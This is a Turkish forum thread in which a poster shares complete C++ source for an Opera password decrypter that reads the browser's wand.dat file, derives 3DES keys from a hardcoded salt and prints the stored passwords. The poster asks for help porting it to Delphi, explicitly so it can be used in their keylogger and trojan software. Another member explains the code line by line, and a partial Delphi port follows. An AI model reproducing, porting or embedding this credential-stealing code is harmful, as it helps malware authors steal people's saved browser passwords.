[ YARDIM ] Opera Password Decrypter
-
// sna@reteam.org - 6th of April 2005
#include <cstdio>
#include <iostream>
#include <memory>
#include "md5.h"
#include "des.h"
int main(int argc, char **argv)
{
if(argc != 2)
{
std::cout << "Usage: unwand <opera wand file>" << std::endl;
return 1;
}
FILE *fdWand = fopen(argv[1], "rb");
if(NULL == fdWand)
{
perror("Failed to open file");
return 1;
}
fseek(fdWand, 0, SEEK_END);
unsigned long fileSize = ftell(fdWand);
unsigned char *wandData = (unsigned char *)malloc(fileSize);
if(NULL == wandData)
{
fclose(fdWand);
perror("Memory allocation failed");
return 1;
}
rewind(fdWand);
fread(wandData, fileSize, 1, fdWand);
fclose(fdWand);
unsigned long wandOffset = 0;
//
// main loop, find and process encrypted blocks
//
while(wandOffset < fileSize)
{
// find key length field at start of block
unsigned char *wandKey = (unsigned char *)
memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset);
if(NULL == wandKey)
{
break;
}
wandOffset = ++wandKey - wandData;
// create pointers to length fields
unsigned char *blockLengthPtr = wandKey - 8;
unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;
if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize)
{
continue;
}
// convert big-endian numbers to native
unsigned long
blockLength = *blockLengthPtr++ << 24;
blockLength |= *blockLengthPtr++ << 16;
blockLength |= *blockLengthPtr++ << 8;
blockLength |= *blockLengthPtr;
unsigned long
dataLength = *dataLengthPtr++ << 24;
dataLength |= *dataLengthPtr++ << 16;
dataLength |= *dataLengthPtr++ << 8;
dataLength |= *dataLengthPtr;
// as discussed in the article
if(blockLength != dataLength + DES_KEY_SZ + 4 + 4)
{
continue;
}
// perform basic sanity checks on data length
if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4)
|| dataLength < 8 || dataLength % 8 != 0)
{
continue;
}
unsigned char
hashSignature1[MD5_DIGEST_LENGTH],
hashSignature2[MD5_DIGEST_LENGTH],
tmpBuffer[256];
//
// hashing of (salt, key), (hash, salt, key)
//
memcpy(tmpBuffer, opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1);
memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1));
memcpy(tmpBuffer + sizeof(hashSignature1),
opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(hashSignature1) +
sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(hashSignature1) +
sizeof(opera_salt) + DES_KEY_SZ, hashSignature2);
//
// schedule keys. key material from hashes
//
DES_key_schedule key_schedule1, key_schedule2, key_schedule3;
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0],
&key_schedule1);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8],
&key_schedule2);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0],
&key_schedule3);
DES_cblock iVector;
memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock));
unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4;
//
// decrypt wand data in place using 3DES-CBC
//
DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength,
&key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0);
if(0x00 == *cryptoData || 0x08 == *cryptoData)
{
std::wcout << L"<null>" << std::endl;
}
else
{
// remove padding (data padded up to next block)
unsigned char *padding = cryptoData + dataLength - 1;
memset(padding - (*padding - 1), 0x00, *padding);
std::wcout << (wchar_t *)cryptoData << std::endl;
}
wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength;
}
free(wandData);
return 0;
}_________ _____________________________________________________________________________________________________________________
Arkadaslar benim amacim bu kodu delphiye çevirmek
yardimci olabilirmisiniz???
Programin Orjinal Kodunu buradan indirebilirsiniz : http://up-file.com/download/24df4d00c0029f56ebfa130af77e9cd0b
-
pardon eksk yapistirmisim
orjinal kod :
// sna@reteam.org - 6th of April 2005
#include <cstdio>
#include <iostream>
#include <memory>
#include "md5.h"
#include "des.h"
const unsigned char opera_salt[11] =
{
0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF
};
int main(int argc, char **argv)
{
if(argc != 2)
{
std::cout << "Usage: unwand <opera wand file>" << std::endl;
return 1;
}
FILE *fdWand = fopen(argv[1], "rb");
if(NULL == fdWand)
{
perror("Failed to open file");
return 1;
}
fseek(fdWand, 0, SEEK_END);
unsigned long fileSize = ftell(fdWand);
unsigned char *wandData = (unsigned char *)malloc(fileSize);
if(NULL == wandData)
{
fclose(fdWand);
perror("Memory allocation failed");
return 1;
}
rewind(fdWand);
fread(wandData, fileSize, 1, fdWand);
fclose(fdWand);
unsigned long wandOffset = 0;
//
// main loop, find and process encrypted blocks
//
while(wandOffset < fileSize)
{
// find key length field at start of block
unsigned char *wandKey = (unsigned char *)
memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset);
if(NULL == wandKey)
{
break;
}
wandOffset = ++wandKey - wandData;
// create pointers to length fields
unsigned char *blockLengthPtr = wandKey - 8;
unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;
if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize)
{
continue;
}
// convert big-endian numbers to native
unsigned long
blockLength = *blockLengthPtr++ << 24;
blockLength |= *blockLengthPtr++ << 16;
blockLength |= *blockLengthPtr++ << 8;
blockLength |= *blockLengthPtr;
unsigned long
dataLength = *dataLengthPtr++ << 24;
dataLength |= *dataLengthPtr++ << 16;
dataLength |= *dataLengthPtr++ << 8;
dataLength |= *dataLengthPtr;
// as discussed in the article
if(blockLength != dataLength + DES_KEY_SZ + 4 + 4)
{
continue;
}
// perform basic sanity checks on data length
if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4)
|| dataLength < 8 || dataLength % 8 != 0)
{
continue;
}
unsigned char
hashSignature1[MD5_DIGEST_LENGTH],
hashSignature2[MD5_DIGEST_LENGTH],
tmpBuffer[256];
//
// hashing of (salt, key), (hash, salt, key)
//
memcpy(tmpBuffer, opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(opera_salt) + DES_KEY_SZ, hashSignature1);
memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1));
memcpy(tmpBuffer + sizeof(hashSignature1),
opera_salt, sizeof(opera_salt));
memcpy(tmpBuffer + sizeof(hashSignature1) +
sizeof(opera_salt), wandKey, DES_KEY_SZ);
MD5(tmpBuffer, sizeof(hashSignature1) +
sizeof(opera_salt) + DES_KEY_SZ, hashSignature2);
//
// schedule keys. key material from hashes
//
DES_key_schedule key_schedule1, key_schedule2, key_schedule3;
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[0],
&key_schedule1);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature1[8],
&key_schedule2);
DES_set_key_unchecked((const_DES_cblock *)&hashSignature2[0],
&key_schedule3);
DES_cblock iVector;
memcpy(iVector, &hashSignature2[8], sizeof(DES_cblock));
unsigned char *cryptoData = wandKey + DES_KEY_SZ + 4;
//
// decrypt wand data in place using 3DES-CBC
//
DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength,
&key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0);
if(0x00 == *cryptoData || 0x08 == *cryptoData)
{
std::wcout << L"<null>" << std::endl;
}
else
{
// remove padding (data padded up to next block)
unsigned char *padding = cryptoData + dataLength - 1;
memset(padding - (*padding - 1), 0x00, *padding);
std::wcout << (wchar_t *)cryptoData << std::endl;
}
wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength;
}
free(wandData);
return 0;
}Yeni Download Link : http://up-file.com/download/29f850986c1b803ff111ccb26b715886c
-
____________________________________________________________________________________________________
C++
____________________________________________________________________________________________________const unsigned char opera_salt[11] =
{
0x83, 0x7D, 0xFC, 0x0F, 0x8E, 0xB3, 0xE8, 0x69, 0x73, 0xAF, 0xFF};
____________________________________________________________________________________________________
DELPHI
____________________________________________________________________________________________________
const
opera_salt : array[0..10] of Byte = ($83, $7D, $FC, $0F, $8E, $B3, $E8, $69, $73, $AF, $FF);bu sekilde adim adim çevirme işlemi yapabiliriz ancak C++ bilgim yeterli olmadiği için yardima ihtiyacim war...
-
PC de Kayitli olan Opera Browserine ait şifreler
C:\Users\test\AppData\Roaming\Opera\Opera\profile\wand.dat
bu şifreli dosyada saklaniyor...
bu kodlari adim adim anlatabilecek bi c++ koderi cikarsa kolaylikla delphiye cevirebiliriz ve keylogger, trojan gibi yazilimlarimizda kullanabiliriz.
programci arkadaslarin yardimlarini bekliorum
-
slow down cowboy :|
-
TekBuluT bunu yazdı:
-----------------------------
slow down cowboy :|
-----------------------------gereksiz yorum atmayiniz...
-
int main(int argc, char **argv)
{
if(argc != 2) //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış [1. process ismidir.]
{
std::cout << "Usage: unwand " << std::endl;
return 1;
}
FILE *fdWand = fopen(argv[1], "rb"); // argüman olarak gösterilen dosya okuma modunda ( binary olarak ) açılmış.
if(NULL == fdWand)
{
perror("Failed to open file");
return 1;
}
fseek(fdWand, 0, SEEK_END); //dosya göstericisi dosya sonuna konumlandırdı.
unsigned long fileSize = ftell(fdWand); //ftell komutu dosya göstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek.
unsigned char *wandData = (unsigned char *)malloc(fileSize); //dinamik olarak dosya boyutu kadar yer ayırdı.(Heap)
if(NULL == wandData)
{
fclose(fdWand);
perror("Memory allocation failed");
return 1;
}
rewind(fdWand); //dosya göstericisi tekrar başa alındı.
fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
fclose(fdWand); // dosyayı kapadı.
unsigned long wandOffset = 0;delphi bilmiyorum ve uykum geldi.Birazdan yatAcağım için devam edemiyorum. Eğer ki böyle bir açıklama sana yeticekse yarın devam edebilirim.?
-
cok güzel çok tesekkürler deevam edersen iyi olur müsait zamanlarinda
-
GrN bGrN bunu yazdı:
-----------------------------int main(int argc, char **argv)
{
if(argc != 2) //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış [1. process ismidir.]
{
std::cout << "Usage: unwand " << std::endl;
return 1;
}
FILE *fdWand = fopen(argv[1], "rb"); // argüman olarak gösterilen dosya okuma modunda ( binary olarak ) açılmış.
if(NULL == fdWand)
{
perror("Failed to open file");
return 1;
}
fseek(fdWand, 0, SEEK_END); //dosya göstericisi dosya sonuna konumlandırdı.
unsigned long fileSize = ftell(fdWand); //ftell komutu dosya göstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek.
unsigned char *wandData = (unsigned char *)malloc(fileSize); //dinamik olarak dosya boyutu kadar yer ayırdı.(Heap)
if(NULL == wandData)
{
fclose(fdWand);
perror("Memory allocation failed");
return 1;
}
rewind(fdWand); //dosya göstericisi tekrar başa alındı.
fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
fclose(fdWand); // dosyayı kapadı.
unsigned long wandOffset = 0;delphi bilmiyorum ve uykum geldi.Birazdan yatAcağım için devam edemiyorum. Eğer ki böyle bir açıklama sana yeticekse yarın devam edebilirim.?
----------------------------------------------------------rewind(fdWand); //dosya göstericisi tekrar başa alındı.
fread(wandData, fileSize, 1, fdWand); // dosyayı okudu.
fclose(fdWand); // dosyayı kapadı.
burada bütün dosyayi okuyup wandData degiskeninemi aktariyor?
function StringOlarakOku(const DosyaAdi: string): string;
var
Dosya: FILE;
begin
AssignFile(Dosya, DosyaAdi);
Reset(Dosya, 1);
SetLength(result, FileSize(Dosya));
BlockRead(Dosya, result[1], FileSize(Dosya));
CloseFile(Dosya);
end;wandData : = StringOlarakOku(ParamStr(1));
-
while(wandOffset < fileSize) //wandOffset dosya boyutundan küçükse dön.
{
// find key length field at start of block
unsigned char *wandKey = (unsigned char *)
memchr(wandData + wandOffset, DES_KEY_SZ, fileSize - wandOffset); //DES_KEY_SZ karakterini arıyor.indexi wandKey' e aktarıyor.
if(NULL == wandKey) // eğer NULL değer döndüyse döngüden çıkılıyor.
{
break;
}
wandOffset = ++wandKey - wandData; // wandKey önce 1 arttırılıyor, çıkartma yapılıyor.
// create pointers to length fields
unsigned char *blockLengthPtr = wandKey - 8; // gösterici tanımlandı ve wandKey - 8 değeri aktarıldı.
unsigned char *dataLengthPtr = wandKey + DES_KEY_SZ;// göstericiye wandkey ile DES_KEY_SZ sabitinin toplamı atılıyor.
if(blockLengthPtr < wandData || dataLengthPtr > wandData + fileSize) // eğer koşul sağlanırsa döngünün geri kalanını işleme ancak devam et.
{
continue;
}
// convert big-endian numbers to native
unsigned long
blockLength = *blockLengthPtr++ << 24; //blockLengthPtr adresindeki değeri 24 bit sola kaydırdıktan sonra değeri bir arttırılıyor.
blockLength |= *blockLengthPtr++ << 16;//aynı şekilde 16 bit kaydırılıyor ancak yanlızca aktarma değil bitsel veya işlemi uygulanıyor.
blockLength |= *blockLengthPtr++ << 8; //yukarıdaki ile aynı
blockLength |= *blockLengthPtr;
unsigned long
dataLength = *dataLengthPtr++ << 24; // yukarıdaki atamalardan bi farkı yok.
dataLength |= *dataLengthPtr++ << 16;
dataLength |= *dataLengthPtr++ << 8;
dataLength |= *dataLengthPtr;
// as discussed in the article
if(blockLength != dataLength + DES_KEY_SZ + 4 + 4) // koşul sağlanırsa aşağıyı işleme devam et.
{
continue;
} -
evet bütün dosyayı okuyor